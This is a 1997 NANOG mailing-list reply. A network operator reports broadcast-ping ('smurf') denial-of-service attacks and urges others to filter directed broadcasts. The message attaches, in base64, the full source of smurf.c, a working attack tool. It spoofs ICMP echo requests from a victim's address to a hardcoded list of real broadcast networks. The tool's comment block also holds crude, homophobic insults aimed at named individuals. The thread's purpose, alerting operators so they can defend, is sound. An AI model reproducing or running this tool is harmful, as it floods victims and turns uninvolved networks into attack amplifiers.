[11757] in North American Network Operators' Group
Re: [nsp] known networks for broadcast ping attacks
daemon@ATHENA.MIT.EDU (Jonah Yokubaitis)
Tue Aug 12 01:17:29 1997
Date: Tue, 12 Aug 1997 00:12:43 -0500 (CDT)
From: Jonah Yokubaitis <barron@texas.net>
To: Rick Watson <rick@akbar.cc.utexas.edu>
cc: Netstat Webmaster <feh@netstat.net>, snash@lightning.net, amb@xara.net,
nanog@merit.edu
In-Reply-To: <199708120257.VAA27694@akbar.cc.utexas.edu>
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--0-1411230417-871362763=:4541
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Mon, 11 Aug 1997, Rick Watson wrote:
|Netstat Webmaster wrote:
|> [some text omitted]
|> The real problem I see with this particular attack is that there is
|> nothing short of blocking all ICMPs that 'victim.com' can do. At least
|> not that I am aware of.
|>
|> Regards,
|> Tripp
|>
|> webmaster@http://www.netstat.net
|
|This does not solve the entire problem. We have been the victim of
|such an attack for the last several days. The attack is using up about
|7 Mbits of our DS3 to Sprint or about 16%. Filtering out ICMP packets
|at the router we control only prevents the target host from seeing the
|ping replies, but does not recover the portion of our circuit occupied
|by the ping replies, or of Sprint's backbone circuits, or of other
|provider's circuits in the path, etc.
We have seen the same thing on our network for ~10weeks off and on.
The attacks have been as bad as 29M/sec.
I am attaching 'smurf.c' the program that triggers the broadcast pings
etc.
Everyone _please_ filter routing broadcast pings as this is a _major_
problem.
Jonah
--0-1411230417-871362763=:4541
Content-Type: TEXT/PLAIN; name="smurf.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSF.3.96.970812001243.4541X@staff2.texas.net>
Content-Description:
DQoNCi8qDQogKg0KICogIHNtdXJmLmMgYnkgVEZyZWFrIFsyMTo1MiAtIDA3
LzI4Lzk3XQ0KICoNCiAqICBzcG9vZnMgaWNtcCBwYWNrZXRzIGZyb20gYSBo
b3N0IHRvIHZhcmlvdXMgYnJvYWRjYXN0IGFkZHJlc3NlcyByZXN1bHRpbmcN
CiAqICBpbiBtdWx0aXBsZSByZXBsaWVzIHRvIHRoYXQgaG9zdCBmcm9tIGEg
c2luZ2xlIHBhY2tldC4gIA0KICoNCiAqICBtYWQgaGVhZCB0bzogIA0KICog
ICAgIG55dCwgc29sZGllciwgYXV0b3BzeSwgbGVnZW5kbmV0LCAjYzBkZSwg
aXJxIGZvciBiZWluZyBteSBndWluZWEgcGlnLA0KICogICAgIE1pc3NTYXRh
biBmb3Igc3dhbGxvd2luZywgbmFwc3RlciBmb3IgcGltcGluZyBteSBzaXN0
ZXIsIHRoZSBndXkgdGhhdA0KICogICAgIGludmVudGVkIHZhc2VsaW5lLCBm
eWJlciBmb3IgdHJ5aW5nLCBrbm93eSwgb2xkIHNjaG9vbCAjaGF2b2ssIGth
aW4gDQogKiAgICAgY29zIGhlIHJveCBteSBzb3gsIHp1ZXosIHRveGlrLCBy
b2JvY29kLCBhbmQgZXZlcnlvbmUgZWxzZSB0aGF0IGkgbWlnaHQNCiAqICAg
ICBoYXZlIG1pc3NlZCAoeW91IGtub3cgd2hvIHlvdSBhcmUpLg0KICogDQog
KiAgICAgbWFkIHByb3BzIHRvIEJ1Z19Mb3JkLCBhcyB3ZWxsLg0KICoNCiAq
ICBtYWQgYW5hbCB0bzoNCiAqICAgICAjbWFkY3Jldy8jY29uZmxpY3QgZm9y
IG5vdCBjYXNoaW5nIGluIHRoZWlyIGNsdWVwb25zLCBFRm5ldCBJUkNPcHMN
CiAqICAgICBiZWNhdXNlIHRoZXkgcGxhaW4gc3VjaywgUm9sZXggZm9yIGJl
aW5nIGEgdHdpdCwgZXZlcnlvbmUgdGhhdA0KICogICAgIHRyYWRlcyB3YXJl
eiwgQ2FyZW4gZm9yIGJlaW5nIGEgbGVzYmlhbiBob2UsIEFjaWRLaWxsIGZv
ciBiZWluZyBoZXINCiAqICAgICBwYXJ0bmVyLCAjY2hhMHMsIHNlZHJpc3Mg
Zm9yIGhhdmluZyBhbiBlZ28gaW4gaW52ZXJzZSBwcm9wb3J0aW9uIHRvDQog
KiAgICAgaGlzIHBlbmlzIGFuZCBhbnlvbmUgdGhhdCBjYW4ndCBwZWUgc3Rh
bmRpbmcgdXAuIA0KICoNCiAqICBkaXNjbGFpbWVyOg0KICogICAgIEkgY2Fu
bm90IGFuZCB3aWxsIG5vdCBiZSBoZWxkIHJlc3BvbnNpYmxlIG5vciBsZWdh
bGx5IGJvdW5kIGZvciB0aGUNCiAqICAgICBtYWxpY2lvdXMgYWN0aXZpdGll
cyBvZiBpbmRpdmlkdWFscyB3aG8gY29tZSBpbnRvIHBvc3Nlc3Npb24gb2Yg
dGhpcw0KICogICAgIHByb2dyYW0gYW5kIHJlZnVzZSB0byBwcm92aWRlIGhl
bHAgb3Igc3VwcG9ydCBvZiBhbnkga2luZCBhbmQgZG8gTk9UDQogKiAgICAg
Y29uZG9uZSB1c2Ugb2YgdGhpcyBwcm9ncmFtIHRvIGRlbnkgc2VydmljZSB0
byBhbnlvbmUgb3IgYW55IG1hY2hpbmUuDQogKiAgICAgVGhpcyBpcyBmb3Ig
ZWR1Y2F0aW9uYWwgdXNlIG9ubHkuIFBsZWFzZSBEb24ndCBhYnVzZSB0aGlz
Lg0KICoNCiAqLyAgIA0KIA0KI2luY2x1ZGUgPHNpZ25hbC5oPg0KI2luY2x1
ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8
c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1
ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2lwLmg+DQoj
aW5jbHVkZSA8bmV0aW5ldC9pcF9pY21wLmg+DQojaW5jbHVkZSA8bmV0ZGIu
aD4NCg0Kdm9pZCBiYW5uZXIodm9pZCk7DQp2b2lkIHVzYWdlKGNoYXIgKik7
DQp2b2lkIHNtdXJmKGludCwgc3RydWN0IHNvY2thZGRyX2luLCB1X2xvbmcs
IGludCk7DQp2b2lkIGN0cmxjKGludCk7DQp1bnNpZ25lZCBzaG9ydCBpbl9j
aGtzdW0odV9zaG9ydCAqLCBpbnQpOw0KDQp2b2lkIG1haW4gKGludCBhcmdj
LCBjaGFyICphcmd2W10pICANCnsNCiAgIHN0cnVjdCBzb2NrYWRkcl9pbiBz
aW47DQogICBzdHJ1Y3QgaG9zdGVudCAqaGU7DQogICBpbnQgaSwgc29jaywg
ZGVsYXksIG51bSwgcGt0c2l6ZSwgYmNhc3QgPSAxLCBjeWNsZSA9IDEwOw0K
DQogICAvKiBhZGQgeW91ciBvd24gYnJvYWRjYXN0IGlwcywganVzdCBtYWtl
IHN1cmUgdG8gZW5kIHdpdGggTlVMTCAqLw0KICAgY2hhciAqYmNhc3RhZGRy
W10gPSB7DQogICAgICAiMTk5LjE3MS4xOTAuMjU1IiwgIjE2NS4xNTQuMS4y
NTUiLCAgIjIwNS4xMzkuNC4yNTUiLA0KICAgICAgIjE5OC4zLjEwMS4yNTUi
LCAgICIyMDQuNzEuMTc3LjI1NSIsICAiMTkyLjQxLjE3Ny4yNTUiLA0KICAg
ICAgIjIwNi4xMy4yOC4yNTUiLCAgICIxNDQuMjI4LjIwLjI1NSIsICAiMjA2
LjEzNy4xODQuMjU1IiwNCiAgICAgICIxOTIuNDEuMTc3LjI1NSIsICAiMjA2
LjEzLjI4LjI1NSIsICAgIjE5OC4zMi4xODYuMjU1IiwNCiAgICAgICIxMzAu
NjMuMjM2LjI1NSIsICAiMjA4LjIwMi4xNC4yNTUiLCAgIjIwOC4xMzEuMTYy
LjI1NSIsDQogICAgICAiMjA1LjE4MC41OC4yNTUiLCAgIjE1Mi4yLjI1NC4y
NTUiLCAgICIxOTguMy45OC4wIiwNCiAgICAgICIxMzEuMTA0Ljk2LjI1NSIs
ICAiMTQzLjQzLjMyLjI1NSIsICAgIjM2LjE5MC4wLjAiLA0KICAgICAgIjEz
MS4yMTUuNDguMCIsICAgICIyMDQuMTE3LjIxNC4wIiwgICAiMTQzLjQzLjMy
LjI1NSIsDQogICAgICAiMTMwLjIzNS4yMC4yNTUiLCAgIjIwNi43OS4yNTQu
MjU1IiwgICIxOTkuMjIyLjQyLjI1NSIsDQogICAgICAiMjA0LjcxLjI0Mi4y
NTUiLCAgIjIwNC4xNjIuODAuMCIsICAgICIxMjguMTk0LjEwMy4yNTUiLA0K
ICAgICAgIjIwNy4yMjEuNTMuMjU1IiwgICIyMDcuMTI2LjExMy4yNTUiLCAi
MTk4LjUzLjE0NS4yNTUiLA0KICAgICAgIjIwOS4yNS4yMS4yNTUiLCAgICIx
OTQuNTEuODMuMjU1IiwgICAiMjA3LjUxLjQ4LjI1NSIsDQogICAgICAiMTI5
LjEzMC4xMi4yNTUiLCAgIjE5Mi4yMzEuMjIxLjI1NSIsICIxNjguMTcuMTk3
LjI1NSIsDQogICAgICAiMTk4LjI0Mi41NS4yNTUiLCAgIjEzMC4xNjAuMjI0
LjI1NSIsICIxMjguODMuNDAuMjU1IiwNCiAgICAgICIxMzEuMjE1LjQ4LjI1
NSIsICAiMTY5LjEzMC4xMC4yNTUiLCAgIjIwNy4yMC43LjI1NSIsDQogICAg
ICAiMTYzLjE3OS4xLjAiLCAgICAgIjEyOS4xNi4xLjAiLCAgICAgICIxMjgu
MTIyLjI3LjI1NSIsDQogICAgICAiMTMyLjIzNi4yMzAuMjU1IiwNCiAgICAg
ICBOVUxMDQogICB9Ow0KDQogICBiYW5uZXIoKTsNCiAgIHNpZ25hbChTSUdJ
TlQsIGN0cmxjKTsNCg0KICAgaWYgKGFyZ2MgPCA2KSB1c2FnZShhcmd2WzBd
KTsNCg0KICAgaWYgKChoZSA9IGdldGhvc3RieW5hbWUoYXJndlsxXSkpID09
IE5VTEwpIHsNCiAgICAgIHBlcnJvcigicmVzb2x2aW5nIHNvdXJjZSBob3N0
Iik7DQogICAgICBleGl0KC0xKTsNCiAgIH0NCiAgIG1lbWNweSgoY2FkZHJf
dCkmc2luLnNpbl9hZGRyLCBoZS0+aF9hZGRyLCBoZS0+aF9sZW5ndGgpOw0K
ICAgc2luLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KICAgc2luLnNpbl9wb3J0
ID0gaHRvbnMoMCk7IA0KDQogICBudW0gPSBhdG9pKGFyZ3ZbM10pOw0KICAg
ZGVsYXkgPSBhdG9pKGFyZ3ZbNF0pOw0KICAgcGt0c2l6ZSA9IGF0b2koYXJn
dls1XSk7DQoNCiAgIGlmICgoc29jayA9IHNvY2tldChBRl9JTkVULCBTT0NL
X1JBVywgSVBQUk9UT19SQVcpKSA8IDApIHsNCiAgICAgIHBlcnJvcigiZ2V0
dGluZyBzb2NrZXQiKTsNCiAgICAgIGV4aXQoLTEpOw0KICAgfQ0KICAgc2V0
c29ja29wdChzb2NrLCBTT0xfU09DS0VULCBTT19CUk9BRENBU1QsIChjaGFy
ICopJmJjYXN0LCBzaXplb2YoYmNhc3QpKTsNCiAgDQogICBwcmludGYoIkZs
b29kaW5nICVzICguID0gMjUgb3V0Z29pbmcgcGFja2V0cylcbiIsDQogICAg
ICAgICAgYXJndlsxXSk7ICANCg0KICAgZm9yIChpID0gMDsgaSA8IG51bSB8
fCAhbnVtOyBpKyspIHsNCiAgICAgIGlmICghKGkgJSAyNSkpIHsgcHJpbnRm
KCIbWzE7MzRtLiIpOyBmZmx1c2goc3Rkb3V0KTsgfQ0KICAgICAgaWYgKGF0
b2koYXJndlsyXSkgPT0gMCkgew0KICAgICAgICAgc211cmYoc29jaywgc2lu
LCBpbmV0X2FkZHIoYmNhc3RhZGRyW2N5Y2xlXSksIHBrdHNpemUpOw0KICAg
ICAgICAgY3ljbGUrKzsNCiAgICAgICAgIGlmIChiY2FzdGFkZHJbY3ljbGVd
ID09IE5VTEwpIGN5Y2xlID0gMDsNCiAgICAgIH0gZWxzZSANCiAgICAgICAg
IHNtdXJmKHNvY2ssIHNpbiwgaW5ldF9hZGRyKGFyZ3ZbMl0pLCBwa3RzaXpl
KTsNCiAgICAgIHVzbGVlcChkZWxheSk7DQogICB9DQogICBwdXRzKCJcbhtb
MDszN21cbiIpOw0KfQ0KDQp2b2lkIGJhbm5lciAodm9pZCkNCnsNCiAgIHB1
dHMoIiIpOw0KICAgcHV0cygic211cmYuYyB2My4wIGJ5IFRGcmVhayIpOw0K
ICAgcHV0cygiG1swOzM3bSIpOw0KfQ0KDQp2b2lkIHVzYWdlIChjaGFyICpw
cm9nKQ0Kew0KICAgZnByaW50ZihzdGRlcnIsICJ1c2FnZTogJXMgPHNvdXJj
ZT4gPGJjYXN0IGFkZHI+ICINCiAgICAgICAgICAgICAgICAgICAiPG51bSBw
YWNrZXRzPiA8cGFja2V0IGRlbGF5PiA8cGFja2V0IHNpemU+XG4iLCBwcm9n
KTsgDQogICBmcHJpbnRmKHN0ZGVyciwgImJjYXN0IGFkZHJlc3Mgb2YgMCB1
c2VzIGhhcmRjb2RlZCAiDQogICAgICAgICAgICAgICAgICAgImFkZHJlc3Nl
cywgbnVtIHBhY2tldHMgb2YgMCBjb25zdGFudCBmbG9vZFxuIik7DQogICBw
dXRzKCIbWzA7MzdtIik7DQogICBleGl0KC0xKTsNCn0NCg0Kdm9pZCBzbXVy
ZiAoaW50IHNvY2ssIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW4sIHVfbG9uZyBk
ZXN0LCBpbnQgcHNpemUpDQp7DQogICBzdHJ1Y3QgaXBoZHIgKmlwOw0KICAg
c3RydWN0IGljbXBoZHIgKmljbXA7DQogICBjaGFyICpwYWNrZXQ7DQoNCiAg
IHBhY2tldCA9IG1hbGxvYyhzaXplb2Yoc3RydWN0IGlwaGRyKSArIHNpemVv
ZihzdHJ1Y3QgaWNtcGhkcikgKyBwc2l6ZSk7DQogICBpcCA9IChzdHJ1Y3Qg
aXBoZHIgKilwYWNrZXQ7DQogICBpY21wID0gKHN0cnVjdCBpY21waGRyICop
IChwYWNrZXQgKyBzaXplb2Yoc3RydWN0IGlwaGRyKSk7DQoNCiAgIG1lbXNl
dChwYWNrZXQsIDAsIHNpemVvZihzdHJ1Y3QgaXBoZHIpICsgc2l6ZW9mKHN0
cnVjdCBpY21waGRyKSArIHBzaXplKTsNCg0KICAgaXAtPnRvdF9sZW4gPSBo
dG9ucyhzaXplb2Yoc3RydWN0IGlwaGRyKSArIHNpemVvZihzdHJ1Y3QgaWNt
cGhkcikgKyBwc2l6ZSk7DQogICBpcC0+aWhsID0gNTsNCiAgIGlwLT52ZXJz
aW9uID0gNDsNCiAgIGlwLT50dGwgPSAyNTU7DQogICBpcC0+dG9zID0gMDsN
CiAgIGlwLT5mcmFnX29mZiA9IDA7DQogICBpcC0+cHJvdG9jb2wgPSBJUFBS
T1RPX0lDTVA7DQogICBpcC0+c2FkZHIgPSBzaW4uc2luX2FkZHIuc19hZGRy
Ow0KICAgaXAtPmRhZGRyID0gZGVzdDsNCiAgIGlwLT5jaGVjayA9IGluX2No
a3N1bSgodV9zaG9ydCAqKWlwLCBzaXplb2Yoc3RydWN0IGlwaGRyKSk7DQoN
CiAgIGljbXAtPnR5cGUgPSA4Ow0KICAgaWNtcC0+Y29kZSA9IDA7DQogICBp
Y21wLT5jaGVja3N1bSA9IGluX2Noa3N1bSgodV9zaG9ydCAqKWljbXAsIHNp
emVvZihzdHJ1Y3QgaWNtcGhkcikgKyBwc2l6ZSk7DQoNCiAgIHNlbmR0byhz
b2NrLCBwYWNrZXQsIHNpemVvZihzdHJ1Y3QgaXBoZHIpICsgc2l6ZW9mKHN0
cnVjdCBpY21waGRyKSArIHBzaXplLCANCiAgICAgICAgICAwLCAoc3RydWN0
IHNvY2thZGRyICopJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpOyAN
Cg0KICAgZnJlZShwYWNrZXQpOyAgICAgLyogZnJlZSB3aWxseSEgKi8NCn0N
Cg0Kdm9pZCBjdHJsYyAoaW50IGlnbm9yZWQpDQp7DQogICBwdXRzKCJcbkRv
bmUhXG4bWzA7MzdtIik7DQogICBleGl0KDEpOw0KfQ0KDQp1bnNpZ25lZCBz
aG9ydCBpbl9jaGtzdW0gKHVfc2hvcnQgKmFkZHIsIGludCBsZW4pDQp7DQog
ICByZWdpc3RlciBpbnQgbmxlZnQgPSBsZW47DQogICByZWdpc3RlciBpbnQg
c3VtID0gMDsNCiAgIHVfc2hvcnQgYW5zd2VyID0gMDsNCg0KICAgd2hpbGUg
KG5sZWZ0ID4gMSkgew0KICAgICAgc3VtICs9ICphZGRyKys7DQogICAgICBu
bGVmdCAtPSAyOw0KICAgfQ0KDQogICBpZiAobmxlZnQgPT0gMSkgew0KICAg
ICAgKih1X2NoYXIgKikoJmFuc3dlcikgPSAqKHVfY2hhciAqKWFkZHI7DQog
ICAgICBzdW0gKz0gYW5zd2VyOw0KICAgfQ0KDQogICBzdW0gPSAoc3VtID4+
IDE2KSArIChzdW0gKyAweGZmZmYpOw0KICAgc3VtICs9IChzdW0gPj4gMTYp
Ow0KICAgYW5zd2VyID0gfnN1bTsNCiAgIHJldHVybihhbnN3ZXIpOw0KfQ0K
--0-1411230417-871362763=:4541--
